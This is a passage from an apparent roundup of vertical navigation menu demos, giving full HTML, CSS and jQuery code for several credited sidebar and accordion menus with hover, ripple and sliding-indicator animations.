@keyframes gooeyEffect-4 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(11):nth-child(5):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(5):hover ~ li:last-child:before {
top: 36.3636363636%;
animation: gooeyEffect-5 250ms 1;
}
@keyframes gooeyEffect-5 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(11):nth-child(6):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(6):hover ~ li:last-child:before {
top: 45.4545454545%;
animation: gooeyEffect-6 250ms 1;
}
@keyframes gooeyEffect-6 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(11):nth-child(7):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(7):hover ~ li:last-child:before {
top: 54.5454545455%;
animation: gooeyEffect-7 250ms 1;
}
@keyframes gooeyEffect-7 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(11):nth-child(8):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(8):hover ~ li:last-child:before {
top: 63.6363636364%;
animation: gooeyEffect-8 250ms 1;
}
@keyframes gooeyEffect-8 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(11):nth-child(9):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(9):hover ~ li:last-child:before {
top: 72.7272727273%;
animation: gooeyEffect-9 250ms 1;
}
@keyframes gooeyEffect-9 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(11):nth-child(10):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(10):hover ~ li:last-child:before {
top: 81.8181818182%;
animation: gooeyEffect-10 250ms 1;
}
@keyframes gooeyEffect-10 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(11):last-child:hover:before, .navbar__item:first-child:nth-last-child(11) ~ li:last-child:hover:before {
top: 90.9090909091%;
animation: gooeyEffect-11 250ms 1;
}
@keyframes gooeyEffect-11 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
</style>
</head>
<body>
<nav class="navbar">
<ul class="navbar__menu">
<li class="navbar__item">
<a href="#" class="navbar__link"><i data-feather="home"></i><span>Home</span></a>
</li>
<li class="navbar__item">
<a href="#" class="navbar__link"><i data-feather="message-square"></i><span>Messages</span></a>
</li>
<li class="navbar__item">
<a href="#" class="navbar__link"><i data-feather="users"></i><span>Customers</span></a>
</li>
<li class="navbar__item">
<a href="#" class="navbar__link"><i data-feather="folder"></i><span>Projects</span></a>
</li>
<li class="navbar__item">
<a href="#" class="navbar__link"><i data-feather="archive"></i><span>Resources</span></a>
</li>
<li class="navbar__item">
<a href="#" class="navbar__link"><i data-feather="help-circle"></i><span>Help</span></a>
</li>
<li class="navbar__item">
<a href="#" class="navbar__link"><i data-feather="settings"></i><span>Settings</span></a>
</li>
</ul>
</nav>
<script src='https://unpkg.com/feather-icons'></script>
<script id="rendered-js" >
feather.replace();
</script>
</body>
</html>3. By Piyush
Made by Piyush. Dashboard Vertical Sidebar menu With Active Class. Source
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title></title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.2/css/all.css'>
<style>
@import url('https://fonts.googleapis.com/css?family=Roboto');
body{
font-family: 'Roboto', sans-serif;
}
* {
margin: 0;
padding: 0;
}
i {
margin-right: 10px;
}
h2{
margin:0px;
}
h6{
margin:0px;
color:#777;
}
#accordian {
background: #5161ce;
width: 250px;
padding: 10px;
float: left;
height: 100vh;
overflow-x: hidden;
position: relative;
padding-right: 0px;
}
.main-navbar{
position: relative;
}
#accordian li {
list-style-type: none;
}
#accordian ul li a{
color: rgba(255,255,255,0.5);
text-decoration: none;
font-size: 15px;
line-height: 45px;
display: block;
padding: 0px 20px;
transition-duration:0.6s;
transition-timing-function: cubic-bezier(0.68, -0.55, 0.265, 1.55);
position: relative;
}
#accordian>ul>li.active>a{
color: #5161ce;
background-color: transparent;
transition: all 0.7s;
}
#accordian a:not(:only-child):after {
content: "\f105";
position: absolute;
right: 20px;
top: 10%;
font-size: 14px;
font-family: "Font Awesome 5 Free";
display: inline-block;
padding-right: 3px;
vertical-align: middle;
font-weight: 900;
transition: 0.5s;
}
#accordian .active>a:not(:only-child):after {
transform: rotate(90deg);
}
.selector-active{
width: 100%;
display:inline-block;
position:absolute;
height: 37px;
top: 0px;
left: 0px;
transition-duration:0.6s;
transition-timing-function: cubic-bezier(0.68, -0.55, 0.265, 1.55);
background-color: #fff;
border-top-left-radius: 50px;
border-bottom-left-radius: 50px;
}
.selector-active .top,
.selector-active .bottom{
position: absolute;
width: 25px;
height: 25px;
background-color: #fff;
right: 0;
}
.selector-active .top{
top: -25px;
}
.selector-active .bottom{
bottom: -25px;
}
.selector-active .top:before,
.selector-active .bottom:before{
content: '';
position: absolute;
width: 50px;
height: 50px;
border-radius: 50%;
background-color: #5161ce;
}
.selector-active .top:before{
left: -25px;
top: -25px;
}
.selector-active .bottom:before{
bottom: -25px;
left: -25px;
}
</style>
</head>
<body>
<div id="accordian">
<ul class="show-dropdown main-navbar">
<div class="selector-active"><div class="top"></div><div class="bottom"></div></div>
<li>
<a href="javascript:void(0);"><i class="fas fa-tachometer-alt"></i>Dashboard</a>
</li>
<li class="active">
<a href="javascript:void(0);"><i class="far fa-address-book"></i>Address Book</a>
</li>
<li>
<a href="javascript:void(0);"><i class="far fa-clone"></i>Components</a>
</li>
<li>
<a href="javascript:void(0);"><i class="far fa-calendar-alt"></i>Calendar</a>
</li>
<li>
<a href="javascript:void(0);"><i class="far fa-chart-bar"></i>Charts</a>
</li>
<li>
<a href="javascript:void(0);"><i class="far fa-copy"></i>Documents</a>
</li>
<li>
<a href="javascript:void(0);"><i class="far fa-bookmark"></i>Bookmarks</a>
</li>
<li>
<a href="javascript:void(0);"><i class="far fa-envelope"></i>Mail</a>
</li>
<li>
<a href="javascript:void(0);"><i class="far fa-heart"></i>Favorite</a>
</li>
</ul>
</div>
<script src='https://code.jquery.com/jquery-3.4.1.min.js'></script>
<script>
// ---------vertical-menu with-inner-menu-active-animation-----------
var tabsVerticalInner = $('#accordian');
var selectorVerticalInner = $('#accordian').find('li').length;
var activeItemVerticalInner = tabsVerticalInner.find('.active');
var activeWidthVerticalHeight = activeItemVerticalInner.innerHeight();
var activeWidthVerticalWidth = activeItemVerticalInner.innerWidth();
var itemPosVerticalTop = activeItemVerticalInner.position();
var itemPosVerticalLeft = activeItemVerticalInner.position();
$(".selector-active").css({
"top": itemPosVerticalTop.top + "px",
"left": itemPosVerticalLeft.left + "px",
"height": activeWidthVerticalHeight + "px",
"width": activeWidthVerticalWidth + "px" });
$("#accordian").on("click", "li", function (e) {
$('#accordian ul li').removeClass("active");
$(this).addClass('active');
var activeWidthVerticalHeight = $(this).innerHeight();
var activeWidthVerticalWidth = $(this).innerWidth();
var itemPosVerticalTop = $(this).position();
var itemPosVerticalLeft = $(this).position();
$(".selector-active").css({
"top": itemPosVerticalTop.top + "px",
"left": itemPosVerticalLeft.left + "px",
"height": activeWidthVerticalHeight + "px",
"width": activeWidthVerticalWidth + "px" });
});
// --------------add active class-on another-page move----------
jQuery(document).ready(function ($) {
// Get current path and find target link
var path = window.location.pathname.split("/").pop();
// Account for home page with empty path
if (path == '') {
path = 'index.html';
}
var target = $('#accordian ul li a[href="' + path + '"]');
// Add active class to target link
target.parent().addClass('active');
});
</script>
</body>
</html>4. By Madalin Tudose
Made by Madalin Tudose. Simple vertical Navigation menu. Source
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title></title>
<link href='https://fonts.googleapis.com/css?family=Quicksand:400,700' rel='stylesheet' type='text/css' />
<script type="text/javascript" src="https://code.jquery.com/jquery-2.0.0.min.js" /></script>
<link href="https://netdna.bootstrapcdn.com/font-awesome/3.1.1/css/font-awesome.min.css" rel="stylesheet" />
<style>
body {
background:url(http://www.ourtuts.com/tutorials/vertical-menu/bg.jpg) scroll center center;
margin:0;
padding:0;
font-family:Quicksand;
font-weight:700;
}
ul.form {
position:relative;
background:#fff;
width:250px;
margin:auto;
padding:0;
list-style: none;
overflow:hidden;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
-webkit-box-shadow: 1px 1px 10px rgba(0, 0, 0, 0.1);
-moz-box-shadow: 1px 1px 10px rgba(0, 0, 0, 0.1);
box-shadow: 1px 1px 10px rgba(0, 0, 0, 0.1);
}
.form li a {
width:225px;
padding-left:20px;
height:50px;
line-height:50px;
display:block;
overflow:hidden;
position:relative;
text-decoration:none;
text-transform:uppercase;
font-size:14px;
color:#686868;
-webkit-transition:all 0.2s linear;
-moz-transition:all 0.2s linear;
-o-transition:all 0.2s linear;
transition:all 0.2s linear;
}
.form li a:hover {
background:#efefef;
}
.form li a.profile {
border-left:5px solid #008747;
}
.form li a.messages {
border-left:5px solid #fecf54;
}
.form li a.settings {
border-left:5px solid #cf2130;
}
.form li a.logout {
border-left:5px solid #dde2d5;
}
.form li:first-child a:hover, .form li:first-child a {
-webkit-border-radius: 5px 5px 0 0;
-moz-border-radius: 5px 5px 0 0;
border-radius: 5px 5px 0 0;
}
.form li:last-child a:hover, .form li:last-child a {
-webkit-border-radius: 0 0 5px 5px;
-moz-border-radius: 0 0 5px 5px;
border-radius: 0 0 5px 5px;
}
.form li a:hover i {
color:#ea4f35;
}
.form i {
margin-right:15px;
-webkit-transition:all 0.2s linear;
-moz-transition:all 0.2s linear;
-o-transition:all 0.2s linear;
transition:all 0.2s linear;
}
.form em {
font-size: 10px;
background: #ea4f35;
padding: 3px 5px;
-webkit-border-radius: 10px;
-moz-border-radius: 10px;
border-radius: 10px;
font-style: normal;
color: #fff;
margin-top: 17px;
margin-right: 15px;
line-height: 10px;
height: 10px;
float:right;
}
.form li.selected a {
background:#efefef;
}
h1 {
color:#fff;
margin:0 auto;
margin-top:60px;
margin-bottom:40px;
font-size:30px;
width:300px;
text-align:center;
}
p {
text-align:center;
position:absolute;
width:100%;
bottom:0;
font-size:12px;
font-family:Arial, Helvetica;
color:#fff;
text-transform:uppercase;
}
p a {
color:#fff;
text-decoration:none;
}
</style>
</head>
<body>
<h1>Vertical Menu</h1>
<ul class="form">
<li><a class="profile" href="#"><i class="icon-user"></i>Edit Profile</a></li>
<li class="selected"><a class="messages" href="#"><i class="icon-envelope-alt"></i>Messages <em>5</em></a></li>
<li><a class="settings" href="#"><i class="icon-cog"></i>App Settings</a></li>
<li><a class="logout" href="#"><i class="icon-signout"></i>Logout</a></li>
</ul>
<script>
$(document).ready(function () {
$('ul.form li a').click(
function (e) {
e.preventDefault(); // prevent the default action
e.stopPropagation; // stop the click from bubbling
$(this).closest('ul').find('.selected').removeClass('selected');
$(this).parent().addClass('selected');
});
});
</script>
</body>
</html>5. By Caio Cares
Made by Caio Cares. JavaScript vertical menu with animation. Source
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title></title>
<style>
@import url(https://fonts.googleapis.com/css?family=Oswald);
body {
background: #202020;
font-family: "Oswald", sans-serif;
}
.vertical-navigation {
position: absolute;
top: 0;
left: 50%;
margin: 0 0 0 -1px;
height: 0%;
width: 2px;
background: #fff;
transition: height 1s ease-in-out;
}
.vertical-navigation.entrance {
height: 100%;
}
.vertical-navigation .vertical-menu {
position: absolute;
list-style-type: none;
padding: 0;
width: 150px;
height: calc(100% - 70px);
top: 70px;
margin: 0 0 0 -7px;
-webkit-transition: "opacity" 0.5s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
-moz-transition: "opacity" 0.5s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
-o-transition: "opacity" 0.5s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
transition: "opacity" 0.5s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
/* easeOutExpo */
opacity: 0;
overflow: hidden;
}
.vertical-navigation .vertical-menu.entrance {
opacity: 1;
}
.vertical-navigation .vertical-menu .link {
position: relative;
z-index: 2;
float: left;
width: 100%;
margin: 0 0 80px 0;
}
.vertical-navigation .vertical-menu .link:nth-child(1) .dot {
-webkit-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.7s;
-moz-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.7s;
-o-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.7s;
transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.7s;
/* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(1) .dot.in {
background: #007BA6;
}
.vertical-navigation .vertical-menu .link:nth-child(1) a {
-webkit-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
-moz-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
-o-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
/* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(1).in a {
color: #007BA6;
}
.vertical-navigation .vertical-menu .link:nth-child(2) .dot {
-webkit-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
-moz-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
-o-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
/* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(2) .dot.in {
background: #56AF31;
}
.vertical-navigation .vertical-menu .link:nth-child(2) a {
-webkit-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
-moz-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
-o-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
/* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(2).in a {
color: #56AF31;
}
.vertical-navigation .vertical-menu .link:nth-child(3) .dot {
-webkit-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
-moz-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
-o-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
/* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(3) .dot.in {
background: #E3B505;
}
.vertical-navigation .vertical-menu .link:nth-child(3) a {
-webkit-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
-moz-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
-o-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
/* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(3).in a {
color: #E3B505;
}
.vertical-navigation .vertical-menu .link:nth-child(4) .dot {
-webkit-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1.3s;
-moz-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1.3s;
-o-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1.3s;
transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1.3s;
/* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(4) .dot.in {
background: #95190C;
}
.vertical-navigation .vertical-menu .link:nth-child(4) a {
-webkit-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.4s;
-moz-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.4s;
-o-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.4s;
transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.4s;
/* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(4).in a {
color: #95190C;
}
.vertical-navigation .vertical-menu .link.last {
margin-bottom: 0;
}
.vertical-navigation .vertical-menu .link.track {
position: absolute;
z-index: 1;
background: white;
width: 15px;
height: 15px;
border-radius: 25px;
display: none;
}
.vertical-navigation .vertical-menu .link.track.top {
top: 5px;
}
.vertical-navigation .vertical-menu .link a {
text-decoration: none;
opacity: 0;
float: left;
cursor: pointer;
transform: translate3d(-20px, 0, 0);
margin: 3px 0 0 0;
font-size: 14px;
color: white;
-webkit-transition: color 2s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
-moz-transition: color 2s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
-o-transition: color 2s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
transition: color 2s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
/* easeOutExpo */
}
.vertical-navigation .vertical-menu .link a.animate {
opacity: 1;
transform: translate3d(0, 0, 0);
}
.vertical-navigation .vertical-menu .link .dot {
width: 15px;
height: 15px;
background: #ffffff;
border-radius: 25px;
display: block;
float: left;
margin: 5px 12px 0 0;
transform: scale(0);
}
.vertical-navigation .vertical-menu .link .dot.animate {
transform: scale(1);
-webkit-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
-moz-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
-o-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
/* easeOutExpo */
}
.vertical-navigation .vertical-menu .link .dot.in {
background: #2A8A93;
-webkit-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
-moz-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
-o-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
/* easeOutExpo */
}
</style>
</head>
<body>
<nav class="vertical-navigation">
<ul class="vertical-menu">
<li class="link in"><span class="dot in"></span> <a>Item 1</a></li>
<li class="link"><span class="dot"></span> <a>Item 2</a></li>
<li class="link"><span class="dot"></span> <a>Item 3</a></li>
<li class="link last"><span class="dot"></span> <a>Item 4</a></li>
<li class="link track top"></li>
</ul>
</nav>
<script src='https://cdnjs.cloudflare.com/ajax/libs/gsap/1.19.0/TweenMax.min.js'></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.0/jquery.min.js'></script>
<script>
var currentItem = 0;
var clicked = false;
$(document).ready(function () {
$('nav, ul').addClass('entrance');
setTimeout(function () {
$('ul a, .dot').addClass('animate');
$('.track').fadeIn();
}, 1500);
$('.link').on('click', function () {
if (!clicked) {
clicked = true;
var el = $(this);
var index = $(el).index();
navigate(el, index, currentItem);
currentItem = index;
$('.link, .link .dot').removeClass('in');
$(el).addClass('in').find('.dot').addClass('in');
}
});
});
function navigate(el, index, currentNav) {
var oldPos = $('.link').eq(currentNav).offset();
var newPos = $('.link').eq(index).offset();
if (index > currentNav) {
var velocity = index - currentNav;
var speed = velocity * 0.5 - (velocity - 1) * 0.3;
var calc = newPos.top - oldPos.top + 15;
TweenMax.to($('.track'), speed, { height: calc, ease: Expo.easeOut });
setTimeout(function () {
TweenMax.to($('.track'), speed, { height: 15, top: newPos.top - 65, ease: Expo.easeOut });
}, speed * 1000);
} else {
var bottomPos = $('ul').height() - (oldPos.top + 29);
var newBottomPos = $('ul').height() - newPos.top;
var velocity = currentNav - index;
var speed = velocity * 0.5 - (velocity - 1) * 0.3;
$('.track').css({ 'top': 'auto', 'bottom': bottomPos });
TweenMax.to($('.track'), speed, { height: oldPos.top - newPos.top + 14, ease: Expo.easeOut });
setTimeout(function () {
TweenMax.to($('.track'), speed, { height: 15, bottom: newBottomPos, ease: Expo.easeOut });
$(el).addClass('in').find('.dot').addClass('in');
var newPos = $('.link').eq(index).position();
$('.track').css({ 'top': newPos.top + 5, 'bottom': 'auto' });
}, speed * 1000);
}
setTimeout(function () {
clicked = false;
}, 1200);
}
</script>
</body>
</html>6. By Mj
Made by Mj. Vertical menu bar with Hamburger icon. Source
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title></title>
<style>
body {margin: 0; background: #181824; font-family: Arial; }
nav {
position: fixed;
width: 100%;
max-width: 300px;
bottom: 0; top: 0;
display: block;
min-height: 300px;
height: 100%;
color: #fff;
opacity: 0.8;
transition: all 300ms;
-moz-transition: all 300ms;
-webkit-transition: all 300ms;
}
nav .vertical-menu hr{opacity: 0.1; border-width: 0.5px;}
nav ul{width: 90%; padding-inline-start: 0; margin: 10px; height: calc(100% - 20px); }
nav .vertical-menu-logo{padding: 20px; font-size: 1.3em; position: relative}
nav .vertical-menu-logo .open-menu-btn{width: 30px; height: max-content; position: absolute; display: block; right: 20px; top: 0; bottom: 0; margin: auto; cursor: pointer;}
nav .vertical-menu-logo .open-menu-btn hr{margin: 5px 0}
nav li{list-style: none; padding: 10px 10px; cursor: pointer;}
nav li:hover{ color: rgba(75, 105, 176,1); }
nav li#user-info{position: absolute; bottom: 0; width: 80%;}
nav li#user-info > span{display: block; float: right; font-size: 0.9em; position: relative; opacity: 0.6;}
nav li#user-info > span:after{
content: '';
width: 12px;
height: 12px;
display: block;
position: absolute;
background: green;
left: -20px; top: 0; bottom: 0;
margin: auto;
border-radius: 50%;
}
.content-wrapper{
width: calc(100% - 300px);
height: 100%;
position: fixed;
background: #fff;
left: 300px;
padding: 20px;
}
.closed-menu .content-wrapper{
width: 100%;
left: 50px;
}
.content-wrapper{
transition: all 300ms;
}
.vertical-menu-wrapper .vertical-menu-logo div{transition: all 100ms;}
.closed-menu .vertical-menu-wrapper .vertical-menu-logo div{
margin-left: -100px;
}
.vertical-menu-wrapper .vertical-menu-logo .open-menu-btn{transition: all 300ms;}
.closed-menu .vertical-menu-wrapper .vertical-menu-logo .open-menu-btn{
left: 7px;
right: 100%;
}
.closed-menu .vertical-menu-wrapper ul,.closed-menu .vertical-menu-wrapper hr{margin-left: -300px;}
.vertical-menu-wrapper ul, .vertical-menu-wrapper hr{transition: all 100ms;}
.content-wrapper{background: #ebebeb;}
.content{
width: 90%;
min-height: 90%;
background: #fff;
border-radius: 10px;
padding: 30px;
}
</style>
</head>
<body>
<nav class="vertical-menu-wrapper">
<div class="vertical-menu-logo">
<div>LOGO</div>
<span class="open-menu-btn"><hr><hr><hr></span>
</div>
<ul class="vertical-menu">
<li>Schedule</li>
<li>Event</li>
<hr />
<li>Setting</li>
<li>Privacy</li>
<li id="user-info">MJ<span>online</span></li>
</ul>
</nav>
<div class="content-wrapper">
<div class="content">
</div>
</div>
<script src='https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js'></script>
<script>
$('.open-menu-btn').on('click', function () {
if ($('body').hasClass('closed-menu')) {
$('body').removeClass('closed-menu');
} else $('body').addClass('closed-menu');
});
</script>
</body>
</html>7. By Misha
Made by Misha. JavaScript ( jQuery )vertical menu with Ripple effect on Click. Source
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title></title>
<link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.4.0/css/font-awesome.min.css'>
<style>
body {
font-family: "Microsoft YaHei", Helvetica;
background-color: rgb(31, 34, 41);
color: rgb(238, 238, 238);
font-size: 13px;
padding: 10px;
}
.jquery-accordion-menu,.jquery-accordion-menu * {
/*font-family: 'Open Sans',sans-serif;*/
box-sizing: border-box;
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
outline: 0
}
.jquery-accordion-menu {
min-width: 260px;
float: left;
position: relative;
box-shadow: 0 20px 50px #333
}
.jquery-accordion-menu .jquery-accordion-menu-footer,.jquery-accordion-menu .jquery-accordion-menu-header {
width: 100%;
height: 50px;
padding-left: 22px;
float: left;
line-height: 50px;
font-weight: 600;
color: #f0f0f0;
background: #414956
}
.jquery-accordion-menu ul {
margin: 0;
padding: 0;
list-style: none
}
.jquery-accordion-menu ul li {
width: 100%;
display: block;
float: left;
position: relative
}
.jquery-accordion-menu ul li a {
width: 100%;
padding: 14px 22px;
float: left;
text-decoration: none;
color: #f0f0f0;
font-size: 13px;
background: #414956;
white-space: nowrap;
position: relative;
overflow: hidden;
-o-transition: color .2s linear,background .2s linear;
-moz-transition: color .2s linear,background .2s linear;
-webkit-transition: color .2s linear,background .2s linear;
transition: color .2s linear,background .2s linear
}
.jquery-accordion-menu>ul>li.active>a,.jquery-accordion-menu>ul>li:hover>a {
color: #fff;
background: #3b424d
}
.jquery-accordion-menu>ul>li>a {
border-bottom: solid 1px #3b424d
}
.jquery-accordion-menu ul li a i {
width: 34px;
float: left;
line-height: 18px;
font-size: 16px;
text-align: left
}
.jquery-accordion-menu .submenu-indicator {
float: right;
right: 22px;
position: absolute;
line-height: 19px;
font-size: 20px;
-o-transition: transform .3s linear;
-moz-transition: transform .3s linear;
-webkit-transition: transform .3s linear;
-ms-transition: transform .3s linear
}
.jquery-accordion-menu ul ul.submenu .submenu-indicator {
line-height: 16px
}
.jquery-accordion-menu .submenu-indicator-minus>.submenu-indicator {
-ms-transform: rotate(45deg);
-moz-transform: rotate(45deg);
-webkit-transform: rotate(45deg);
transform: rotate(45deg)
}
.jquery-accordion-menu ul ul.submenu,.jquery-accordion-menu ul ul.submenu li ul.submenu {
width: 100%;
display: none;
position: static
}
.jquery-accordion-menu ul ul.submenu li {
clear: both;
width: 100%
}
.jquery-accordion-menu ul ul.submenu li a {
width: 100%;
float: left;
font-size: 11px;
background: #383838;
border-top: none;
position: relative;
border-left: solid 6px transparent;
-o-transition: border .2s linear;
-moz-transition: border .2s linear;
-webkit-transition: border .2s linear;
transition: border .2s linear
}
.jquery-accordion-menu ul ul.submenu li:hover>a {
border-left-color: #414956
}
.jquery-accordion-menu ul ul.submenu>li>a {
padding-left: 30px
}
.jquery-accordion-menu ul ul.submenu>li>ul.submenu>li>a {
padding-left: 45px
}
.jquery-accordion-menu ul ul.submenu>li>ul.submenu>li>ul.submenu>li>a {
padding-left: 60px
}
.jquery-accordion-menu ul li .jquery-accordion-menu-label,.jquery-accordion-menu ul ul.submenu li .jquery-accordion-menu-label {
min-width: 20px;
padding: 1px 2px 1px 1px;
position: absolute;
right: 18px;
top: 14px;
font-size: 11px;
font-weight: 800;
color: #555;
text-align: center;
line-height: 18px;
background: #f0f0f0;
border-radius: 100%
}
.jquery-accordion-menu ul ul.submenu li .jquery-accordion-menu-label {
top: 12px
}
.ink {
display: block;
position: absolute;
background: rgba(255,255,255,.3);
border-radius: 100%;
-webkit-transform: scale(0);
-moz-transform: scale(0);
-ms-transform: scale(0);
-o-transform: scale(0);
transform: scale(0)
}
.animate-ink {
-webkit-animation: ripple .5s linear;
-moz-animation: ripple .5s linear;
-ms-animation: ripple .5s linear;
-o-animation: ripple .5s linear;
animation: ripple .5s linear
}
@-webkit-keyframes ripple {
100% {
opacity: 0;
-webkit-transform: scale(2.5)
}
}
@-moz-keyframes ripple {
100% {
opacity: 0;
-moz-transform: scale(2.5)
}
}
@-o-keyframes ripple {
100% {
opacity: 0;
-o-transform: scale(2.5)
}
}
@keyframes ripple {
100% {
opacity: 0;
transform: scale(2.5)
}
}
.blue.jquery-accordion-menu .jquery-accordion-menu-footer,.blue.jquery-accordion-menu .jquery-accordion-menu-header,.blue.jquery-accordion-menu ul li a {
background: #4A89DC
}
.blue.jquery-accordion-menu>ul>li.active>a,.blue.jquery-accordion-menu>ul>li:hover>a {
background: #3e82da
}
.blue.jquery-accordion-menu>ul>li>a {
border-bottom-color: #3e82da
}
.blue.jquery-accordion-menu ul ul.submenu li:hover>a {
border-left-color: #3e82da;
background: #3b3b3b;
}
.green.jquery-accordion-menu .jquery-accordion-menu-footer,.green.jquery-accordion-menu .jquery-accordion-menu-header,.green.jquery-accordion-menu ul li a {
background: #03A678
}
.green.jquery-accordion-menu>ul>li.active>a,.green.jquery-accordion-menu>ul>li:hover>a {
background: #049372
}
.green.jquery-accordion-menu>ul>li>a {
border-bottom-color: #049372
}
.green.jquery-accordion-menu ul ul.submenu li:hover>a {
border-left-color: #049372;
background: #3b3b3b;
}
.red.jquery-accordion-menu .jquery-accordion-menu-footer,.red.jquery-accordion-menu .jquery-accordion-menu-header,.red.jquery-accordion-menu ul li a {
background: #ED5565
}
.red.jquery-accordion-menu>ul>li.active>a,.red.jquery-accordion-menu>ul>li:hover>a {
background: #DA4453
}
.red.jquery-accordion-menu>ul>li>a {
border-bottom-color: #DA4453
}
.red.jquery-accordion-menu ul ul.submenu li:hover>a {
border-left-color: #DA4453;
background: #3b3b3b;
}
